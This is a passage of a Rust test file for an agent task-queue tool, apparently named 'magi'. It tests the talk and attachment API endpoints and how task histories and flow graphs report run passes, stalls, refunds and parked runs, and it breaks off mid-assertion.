15010 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15011 let f = Fixture::start().await;
15012 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15013
15014 let res = f
15017 .post_bytes(
15018 &format!("/api/talks/{id}/attachments"),
15019 &[("Content-Type", "image/png")],
15020 b"<html>not a picture</html>",
15021 )
15022 .await;
15023 assert!((400..500).contains(&res.status), "{}", res.body);
15024 }
15025
15026 #[tokio::test]
15027 async fn an_unknown_attachment_id_is_a_404() {
15028 let f = Fixture::start().await;
15029 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15030
15031 let res = f
15032 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15033 .await;
15034 assert_eq!(res.status, 404, "{}", res.body);
15035 }
15036
15037 #[tokio::test]
15038 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15039 let f = Fixture::start().await;
15040 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15041
15042 let uploaded = f
15043 .post_bytes(
15044 &format!("/api/talks/{id}/attachments"),
15045 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15046 PNG_BYTES,
15047 )
15048 .await;
15049 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15050 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15051
15052 let res = f
15053 .post(
15054 &format!("/api/talks/{id}/say"),
15055 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15056 )
15057 .await;
15058 assert_eq!(res.status, 202, "{}", res.body);
15059 let queued = res.json();
15060 let turns = queued["turns"].as_array().expect("turns array");
15061 assert_eq!(
15062 turns.len(),
15063 1,
15064 "an empty body with an attachment is still a turn: {queued}"
15065 );
15066 assert_eq!(turns[0]["who"], "operator");
15067 assert_eq!(turns[0]["body"], "");
15068 let atts = turns[0]["attachments"]
15069 .as_array()
15070 .expect("attachments array");
15071 assert_eq!(atts.len(), 1);
15072 assert_eq!(atts[0]["id"], att_id);
15073 assert_eq!(atts[0]["mime"], "image/png");
15074
15075 let on_disk = f.talks().get(&id).expect("get");
15078 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15079 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15080 }
15081
15082 #[tokio::test]
15083 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15084 let f = Fixture::start().await;
15085 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15086
15087 let res = f
15088 .post(
15089 &format!("/api/talks/{id}/say"),
15090 Some(&format!(
15091 r#"{{"text":"hi","attachments":["{}"]}}"#,
15092 "a".repeat(32)
15093 )),
15094 )
15095 .await;
15096 assert!((400..500).contains(&res.status), "{}", res.body);
15097 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15098
15099 let on_disk = f.talks().get(&id).expect("get");
15100 assert!(
15101 on_disk.turns.is_empty(),
15102 "a rejected attachment id must not partially record the turn: {:?}",
15103 on_disk.turns
15104 );
15105 }
15106
15107 #[tokio::test]
15108 async fn talk_close_makes_the_talk_refuse_further_turns() {
15109 let f = Fixture::start().await;
15110 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15111
15112 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15113 assert_eq!(closed.status, 200, "{}", closed.body);
15114 assert_eq!(closed.json()["status"], "closed");
15115
15116 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15118 assert_eq!(closed_again.status, 200);
15119 assert_eq!(closed_again.json()["status"], "closed");
15120
15121 let said = f
15122 .post(
15123 &format!("/api/talks/{id}/say"),
15124 Some(r#"{"text":"too late"}"#),
15125 )
15126 .await;
15127 assert_eq!(said.status, 409, "{}", said.body);
15128 }
15129
15130 #[tokio::test]
15131 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15132 let (_tmp, _repo, f) = talk_fixture().await;
15133 let id = f.post("/api/talks", None).await.json()["id"]
15134 .as_str()
15135 .expect("id")
15136 .to_owned();
15137 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15138 assert_eq!(closed.status, 200, "{}", closed.body);
15139
15140 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15141 assert_eq!(reopened.status, 200, "{}", reopened.body);
15142 assert_eq!(reopened.json()["status"], "open");
15143
15144 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15146 assert_eq!(reopened_again.status, 200);
15147 assert_eq!(reopened_again.json()["status"], "open");
15148
15149 let said = f
15150 .post(
15151 &format!("/api/talks/{id}/say"),
15152 Some(r#"{"text":"still there?"}"#),
15153 )
15154 .await;
15155 assert_eq!(
15156 said.status, 202,
15157 "a reopened talk accepts turns again: {}",
15158 said.body
15159 );
15160 }
15161
15162 #[tokio::test]
15163 async fn talk_reopen_on_an_unknown_id_is_404() {
15164 let f = Fixture::start().await;
15165 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15166 assert_eq!(res.status, 404, "{}", res.body);
15167 }
15168
15169 #[tokio::test]
15170 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15171 let f = Fixture::start().await;
15172 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15173
15174 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15175 assert_eq!(deleted.status, 204, "{}", deleted.body);
15176
15177 let after = f.get(&format!("/api/talks/{id}")).await;
15178 assert_eq!(after.status, 404, "{}", after.body);
15179
15180 let listed = f.get("/api/talks").await.json();
15181 assert!(
15182 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15183 "a deleted talk must not linger in the list: {listed}"
15184 );
15185 }
15186
15187 #[tokio::test]
15188 async fn talk_delete_on_an_unknown_id_is_404() {
15189 let f = Fixture::start().await;
15190 let res = f.delete("/api/talks/nonexistent-id").await;
15191 assert_eq!(res.status, 404, "{}", res.body);
15192 }
15193
15194 #[tokio::test]
15198 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15199 let f = Fixture::start().await;
15200 let (a, b, gone) = (
15201 "20260902-140501-aaaa",
15202 "20260902-140502-bbbb",
15203 "20260902-140503-cccc",
15204 );
15205 write_run(&f.runs(), a, RunStatus::Stalled);
15206 let mut review = RunState::new(
15207 PathBuf::from("/repo/magi"),
15208 "main".to_owned(),
15209 "0123456789abcdef".to_owned(),
15210 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15211 .to_owned(),
15212 Config::default(),
15213 );
15214 review.id = b.to_owned();
15215 review.status = RunStatus::Merged;
15216 write_state(&f.runs(), &review);
15217
15218 let mut task = Task::new(
15219 "retry".to_owned(),
15220 "Do the thing".to_owned(),
15221 PathBuf::from("/repo/magi"),
15222 Source::Human,
15223 );
15224 task.start(a.to_owned());
15225 task.stall("quota");
15226 task.start(a.to_owned());
15227 task.start(b.to_owned());
15228 task.start(gone.to_owned());
15229 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15231 f.queue().put(&mut task).expect("file the task");
15232
15233 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15234 assert_eq!(res.status, 200, "{}", res.body);
15235 let v = res.json();
15236 let h = v["history"].as_array().expect("history");
15237 assert_eq!(h.len(), 4, "{v}");
15238 assert_eq!(h[0]["kind"], "competition");
15239 assert_eq!(h[0]["status"], "stalled");
15240 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15241 assert_eq!(h[1]["kind"], "resume", "{v}");
15242 assert!(
15243 h[0]["outcome"]
15244 .as_str()
15245 .unwrap()
15246 .contains("unknown. Pass #2"),
15247 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15248 );
15249 assert!(
15250 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15251 "{v}"
15252 );
15253 assert!(
15254 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15255 "an unrecorded cause must not be narrated as an operator park: {v}"
15256 );
15257 assert_eq!(h[2]["kind"], "review");
15258 assert!(
15259 h[2]["description"]
15260 .as_str()
15261 .unwrap()
15262 .contains("magi/aaaa/A")
15263 );
15264 assert_eq!(h[2]["status"], "merged");
15265 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15266 assert_eq!(v["runs_unreadable"], 1);
15267 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15268 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15269 assert_eq!(nodes[4]["note"], "unreadable");
15270 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15271 assert_eq!(v["instruction"], "Do the thing");
15272 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15273
15274 let run = f.get(&format!("/api/runs/{a}")).await.json();
15276 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15277
15278 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15279 }
15280
15281 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15282 let mut s = RunState::new(
15283 PathBuf::from("/repo/magi"),
15284 "main".to_owned(),
15285 "0123456789abcdef".to_owned(),
15286 "Do it".to_owned(),
15287 Config::default(),
15288 );
15289 s.status = status;
15290 edit(&mut s);
15291 s
15292 }
15293
15294 fn flow_task(runs: &[&str]) -> Task {
15295 let mut t = Task::new(
15296 "t".to_owned(),
15297 "Do it".to_owned(),
15298 PathBuf::from("/repo/magi"),
15299 Source::Human,
15300 );
15301 for r in runs {
15302 t.start((*r).to_owned());
15303 }
15304 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15306 t
15307 }
15308
15309 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15310 let h = task_history(task, |id| {
15311 states
15312 .iter()
15313 .find(|(i, _)| *i == id)
15314 .and_then(|(_, s)| s.clone())
15315 });
15316 task_flow(task, &h, 5, None)
15317 }
15318
15319 #[test]
15320 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15321 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15322 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15323 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15324 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15325 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15326 let run = flow_run(RunStatus::Implementing, |s| {
15327 s.created_at = created;
15328 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15329 s.passes[0].started_at = first;
15330 s.passes[1].started_at = resumed;
15331 });
15332 let mut task = flow_task(&[RUN_X, RUN_X]);
15333 task.created_at = queued;
15334 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15335 task.status = TaskStatus::Held;
15336 task.held_at = Some(held);
15337 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15338 assert_eq!(
15339 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15340 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15341 );
15342 assert!(flow.nodes.iter().all(|n| n.time_expected));
15343 let json = serde_json::to_value(&flow).unwrap();
15344 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15345 assert_eq!(json["nodes"][2]["time_expected"], true);
15346 }
15347
15348 #[test]
15349 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15350 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15351 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15352 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15353 task.held_at = Some(created);
15355 task.blocked_at = Some(created);
15356 for status in [
15357 TaskStatus::Queued,
15358 TaskStatus::Running,
15359 TaskStatus::Blocked,
15360 TaskStatus::Done,
15361 TaskStatus::Failed,
15362 TaskStatus::Parked,
15363 TaskStatus::Held,
15364 ] {
15365 task.status = status;
15366 if status == TaskStatus::Held {
15367 task.held_at = None;
15368 }
15369 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15370 assert_eq!(flow.nodes[1].started_at, Some(created));
15371 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15372 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15373 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15374 let json = serde_json::to_value(&flow).unwrap();
15375 assert!(json["nodes"][3]["started_at"].is_null());
15376 assert_eq!(json["nodes"][3]["time_expected"], true);
15377 }
15378 }
15379
15380 #[test]
15381 fn flow_context_links_do_not_expect_start_times() {
15382 let mut task = flow_task(&[]);
15383 task.source = Source::Agent {
15384 run: "chat-id".to_owned(),
15385 node: "chat".to_owned(),
15386 };
15387 let origin = followup_origin(&fu(None), |_| None, |_| None);
15388 let flow = task_flow(&task, &[], 5, Some(&origin));
15389 for node in &flow.nodes[..2] {
15390 assert!(!node.time_expected);
15391 assert_eq!(node.started_at, None);
15392 }
15393 assert!(flow.nodes[2].time_expected);
15394 }
15395
15396 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15397 crate::queue::FollowUp {
15398 run: "20260901-000000-aaaa".to_owned(),
15399 origin_task: origin_task.map(str::to_owned),
15400 pr: "https://example.com/o/r/pull/1".to_owned(),
15401 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15402 .map(str::to_owned)
15403 .to_vec(),
15404 generation: 1,
15405 }
15406 }
15407
15408 fn parent_task() -> Task {
15409 let mut p = flow_task(&[]);
15410 p.title = "Parent title".to_owned();
15411 p.status = TaskStatus::Done;
15412 p
15413 }
15414
15415 #[test]
15416 fn flow_opens_with_the_parent_task_of_a_followup() {
15417 let p = parent_task();
15418 let pid = p.id.clone();
15419 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15420 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15421 let n = &f.nodes[0];
15422 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15423 assert_eq!(
15424 n.label,
15425 format!("Follow-up of {}", crate::queue::short(&pid))
15426 );
15427 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15428 assert_eq!(n.status, Some("done"));
15429 assert_eq!(n.status_of, "task");
15430 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15431 assert_eq!(f.nodes[1].key, "start");
15432 assert_eq!(f.edges[0].from, "origin");
15433 assert_eq!(
15434 f.edges[0].label,
15435 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15436 );
15437 }
15438
15439 #[test]
15440 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15441 let o = followup_origin(
15442 &fu(Some("gone")),
15443 |_| None,
15444 |_| {
15445 Some(RunState::new(
15446 std::path::PathBuf::from("."),
15447 "main".to_owned(),
15448 "0".to_owned(),
15449 "t".to_owned(),
15450 crate::config::Config::default(),
15451 ))
15452 },
15453 );
15454 assert!(o.parent.is_none());
15455 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15456 let n = &f.nodes[0];
15457 assert_eq!(n.status_of, "run");
15458 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15459 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15460 }
15461
15462 #[test]
15463 fn flow_followup_with_nothing_readable_has_no_link() {
15464 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15465 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15466 let n = &f.nodes[0];
15467 assert_eq!(n.href, None);
15468 assert_eq!(n.note, Some("unreadable"));
15469 assert!(!n.readable);
15470 }
15471
15472 #[test]
15473 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15474 let o = followup_origin(&fu(None), |_| None, |_| None);
15475 let mut t = flow_task(&[]);
15476 t.origin_chat = Some("c1".to_owned());
15477 let f = task_flow(&t, &[], 5, Some(&o));
15478 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15479 t.source = Source::Agent {
15480 run: "c1".to_owned(),
15481 node: crate::queue::CHAT_NODE.to_owned(),
15482 };
15483 let f = task_flow(&t, &[], 5, Some(&o));
15484 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15485 assert_eq!(
15486 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15487 ("chat", "origin")
15488 );
15489 }
15490
15491 #[test]
15492 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15493 let mut p = parent_task();
15494 p.id = "a b/c".to_owned();
15495 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15496 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15497 }
15498
15499 #[test]
15500 fn flow_opens_with_the_chat_that_queued_the_task() {
15501 let mut t = flow_task(&[]);
15502 t.source = Source::Agent {
15503 run: "a b/c".to_owned(),
15504 node: crate::queue::CHAT_NODE.to_owned(),
15505 };
15506 let f = flow_for(&t, &[]);
15507 assert_eq!(f.nodes[0].key, "chat");
15508 assert_eq!(f.nodes[0].kind, "chat");
15509 assert_eq!(
15510 f.nodes[0].label,
15511 format!("Chat {}", crate::queue::short("a b/c"))
15512 );
15513 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15514 assert_eq!(f.nodes[1].key, "start");
15515 assert_eq!(
15516 f.edges[0],
15517 FlowEdge {
15518 from: "chat".to_owned(),
15519 to: "start".to_owned(),
15520 label: "queued from chat".to_owned(),
15521 attempt: AttemptCost::None,
15522 }
15523 );
15524 }
15525
15526 #[test]
15527 fn flow_has_no_chat_box_for_other_sources() {
15528 for source in [
15529 Source::Human,
15530 Source::Issue {
15531 number: 3,
15532 repo: "o/r".to_owned(),
15533 },
15534 Source::Agent {
15535 run: "20260904-014455-ab12".to_owned(),
15536 node: "implement".to_owned(),
15537 },
15538 ] {
15539 let mut t = flow_task(&[]);
15540 t.source = source;
15541 let f = flow_for(&t, &[]);
15542 assert_eq!(f.nodes[0].key, "start");
15543 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15544 assert!(f.edges.iter().all(|e| e.from != "chat"));
15545 }
15546 }
15547
15548 const FA: &str = "20260902-140501-aaaa";
15549 const FB: &str = "20260902-140502-bbbb";
15550
15551 #[test]
15552 fn flow_follows_blocked_retry_merged_to_done() {
15553 let mut t = flow_task(&[FA, FB]);
15554 t.status = TaskStatus::Done;
15555 let f = flow_for(
15556 &t,
15557 &[
15558 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15559 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15560 ],
15561 );
15562 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15563 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15564 assert_eq!(f.edges.len(), 3);
15565 assert_eq!(f.edges[0].label, "claimed");
15566 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15567 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15568 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15569 assert_eq!(
15570 f.nodes[2].href.as_deref(),
15571 Some("#/runs/20260902-140502-bbbb")
15572 );
15573 assert!(f.nodes[2].decided);
15574 }
15575
15576 #[test]
15577 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15578 let quota = || {
15579 flow_run(RunStatus::Stalled, |s| {
15580 s.quota.push(crate::run::QuotaLoss {
15581 seat: "judge-1".to_owned(),
15582 node: "judge".to_owned(),
15583 at: Timestamp::now(),
15584 reset: None,
15585 })
15586 })
15587 };
15588 let mut t = flow_task(&[FA, FA]);
15589 t.status = TaskStatus::Queued;
15590 let f = flow_for(&t, &[(FA, Some(quota()))]);
15591 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15592 assert_eq!(f.nodes[1].note, Some("interrupted"));
15593 assert_eq!(
15594 f.nodes[1].status, None,
15595 "no outcome copied onto an earlier pass"
15596 );
15597 assert_eq!(
15598 f.edges[1].attempt,
15599 AttemptCost::Unknown,
15600 "a resume does not prove the earlier pass was refunded"
15601 );
15602 assert!(f.edges[1].label.contains("resume the same run"));
15603 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15604 assert_eq!(
15605 f.edges[2].label,
15606 "stalled after a resume, refund unknown \u{2192} queued"
15607 );
15608 assert!(!f.nodes[2].decided, "a stall is not a decision");
15609 assert_eq!(f.nodes[2].note, Some("no verdict"));
15610 }
15611
15612 #[test]
15613 fn flow_single_pass_quota_stall_is_refunded() {
15614 let t = flow_task(&[FA]);
15615 let f = flow_for(
15616 &t,
15617 &[(
15618 FA,
15619 Some(flow_run(RunStatus::Stalled, |s| {
15620 s.quota.push(crate::run::QuotaLoss {
15621 seat: "judge-1".to_owned(),
15622 node: "judge".to_owned(),
15623 at: Timestamp::now(),
15624 reset: None,
15625 })
15626 })),
15627 )],
15628 );
15629 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15630 }
15631
15632 #[test]
15633 fn flow_parked_refunds_and_stall_without_quota_spends() {
15634 let mut t = flow_task(&[FA]);
15635 t.status = TaskStatus::Queued;
15636 let f = flow_for(
15637 &t,
15638 &[(
15639 FA,
15640 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15641 )],
15642 );
15643 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15644 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15645 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15646 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15647 assert!(!f.nodes[1].decided);
15648 }
15649
15650 #[test]
15651 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15652 let t = flow_task(&[FA, FB]);
15653 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15654 assert_eq!(f.nodes[1].note, Some("unreadable"));
15655 assert!(!f.nodes[1].readable);
15656 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15657 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15658 }
15659
15660 #[test]
15661 fn flow_names_the_branch_of_a_review_only_run() {
15662 let t = flow_task(&[FA]);
15663 let f = flow_for(
15664 &t,
15665 &[(
15666 FA,
15667 Some(flow_run(RunStatus::Merged, |s| {
15668 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15669 })),
15670 )],
15671 );
15672 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15673 assert_eq!(
15674 f.nodes[1].detail.as_deref(),
15675 Some("review-only run of branch magi/x/A")
15676 );
15677 }
15678
15679 #[test]
15680 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15681 let mut t = flow_task(&[FA]);
15682 t.status = TaskStatus::Held;
15683 let pr = crate::run::PrRecord {
15684 url: "https://example.test/pr/1".to_owned(),
15685 number: 1,
15686 state: "open".to_owned(),
15687 checks: "green".to_owned(),
15688 round: 0,
15689 rounds: 3,
15690 red_at_merge: Vec::new(),
15691 };
15692 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15693 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15694 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15695 t.status = TaskStatus::Done;
15696 let f = flow_for(&t, &[(FA, Some(blocked))]);
15697 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15698 }
15699
15700 #[test]
15701 fn flow_with_no_runs_goes_from_queued_to_queued() {
15702 let t = flow_task(&[]);
15703 let f = flow_for(&t, &[]);
15704 assert_eq!(f.nodes.len(), 2);
15705 assert_eq!(f.edges.len(), 1);
15706 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15707 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15708 }
15709
15710 #[test]
15713 fn a_parked_non_terminal_run_is_explained_as_parked() {
15714 let mut s = RunState::new(
15715 PathBuf::from("/repo/magi"),
15716 "main".to_owned(),
15717 "0123456789abcdef".to_owned(),
15718 "Do it".to_owned(),
15719 Config::default(),
15720 );
15721 s.status = RunStatus::Implementing;
15722 s.parked = true;
15723 let task = Task::new(
15724 "t".to_owned(),
15725 "Do it".to_owned(),
15726 PathBuf::from("/repo/magi"),
15727 Source::Human,
15728 );
15729 let v = task_run_view(
15730 "20260902-140501-aaaa",
15731 Some(&s),
15732 RunSlot {
15733 n: 1,
15734 resumed: false,
15735 resumed_later: None,
15736 prior: None,
15737 last: true,
15738 ..RunSlot::default()
15739 },
15740 &task,
15741 );
15742 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15743 }
15744
15745 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15746 let mut s = flow_run(RunStatus::Implementing, edit);
15747 s.parked = false;
15748 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15749 task_run_view(
15750 "20260902-140501-aaaa",
15751 Some(&s),
15752 RunSlot {
15753 n: 1,
15754 resumed: false,
15755 resumed_later: Some(2),
15756 prior: None,
15757 last: false,
15758 ..RunSlot::default()
15759 },
15760 &task,
15761 )
15762 }
15763
15764 #[test]
15765 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15766 let v = earlier_pass_view(|_| {});
15767 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15768 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15769 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15770 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15771 assert_eq!(v.exit, RunExit::Interrupted);
15772 assert_eq!(v.attempt, AttemptCost::Unknown);
15773 }
15774
15775 #[test]
15776 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15777 let v = earlier_pass_view(|s| {
15778 s.quota.push(crate::run::QuotaLoss {
15779 seat: "judge-1".to_owned(),
15780 node: "judge".to_owned(),
15781 at: Timestamp::now(),
15782 reset: None,
15783 });
15784 });
15785 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15786 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15787 assert_eq!(v.attempt, AttemptCost::Unknown);
15788 }
15789
15790 #[test]
15791 fn the_current_pass_states_its_recorded_cause_and_cost() {
15792 let slot = || RunSlot {
15793 n: 1,
15794 resumed: false,
15795 resumed_later: None,
15796 prior: None,
15797 last: true,
15798 ..RunSlot::default()
15799 };
15800 let task = flow_task(&["20260902-140501-aaaa"]);
15801 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15802 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15803 assert_eq!(
15804 (v.exit, v.attempt),
15805 (RunExit::Parked, AttemptCost::Refunded)
15806 );
15807 let spent = flow_run(RunStatus::Blocked, |_| {});
15808 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15809 assert_eq!(v.attempt, AttemptCost::Spent);
15810 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15811 }
15812
15813 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15814 crate::run::RunPass {
15815 index,
15816 started_at: Timestamp::now(),
15817 resumed: index > 0,
15818 ended_at: end.as_ref().map(|_| Timestamp::now()),
15819 end,
15820 task_entry: true,
15821 }
15822 }
15823
15824 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15825 Some(crate::run::PassEnd::Parked { cause })
15826 }
15827
15828 fn upgrade_cause() -> crate::run::ParkCause {
15829 crate::run::ParkCause::Upgrade {
15830 from: "0.121.0".to_owned(),
15831 to: Some("0.121.1".to_owned()),
15832 }
15833 }
15834
15835 fn settled_pass(
15836 run: &str,
15837 index: usize,
15838 cost: crate::queue::PassCost,
15839 ) -> crate::queue::TaskPass {
15840 crate::queue::TaskPass {
15841 run: run.to_owned(),
15842 pass_index: index,
15843 cost,
15844 attempts_after: 1,
15845 settled_at: Timestamp::now(),
15846 parked: None,
15847 }
15848 }
15849
15850 const RUN_X: &str = "20261011-223708-4334";
15851
15852 #[test]
15853 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15854 use crate::queue::PassCost;
15855 let run = flow_run(RunStatus::Implementing, |s| {
15856 s.passes = vec![
15857 recorded_pass(0, parked(upgrade_cause())),
15858 recorded_pass(1, None),
15859 ];
15860 });
15861 let mut task = flow_task(&[RUN_X, RUN_X]);
15862 task.attempts = 1;
15863 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15864 let h = task_history(&task, |_| Some(run.clone()));
15865 assert_eq!(h.len(), 2);
15866 assert_eq!(h[0].kind, "competition");
15867 assert_eq!(h[1].kind, "resume");
15868 assert_eq!(
15869 (h[0].exit, h[0].attempt),
15870 (RunExit::Parked, AttemptCost::Refunded)
15871 );
15872 assert!(
15873 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15874 "{}",
15875 h[0].outcome
15876 );
15877 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15878 assert!(
15879 h[0].outcome.contains("pass #2 resumed the same run"),
15880 "{}",
15881 h[0].outcome
15882 );
15883 assert!(
15884 h[0].outcome.contains("pass 1 of 2 over run"),
15885 "{}",
15886 h[0].outcome
15887 );
15888 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15889 assert_eq!(
15890 h[0].exit_label,
15891 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15892 );
15893 let f = task_flow(&task, &h, 2, None);
15894 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15896 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15897 assert!(
15898 f.edges[1].label.contains("upgrade 0.121.0"),
15899 "{}",
15900 f.edges[1].label
15901 );
15902 assert!(
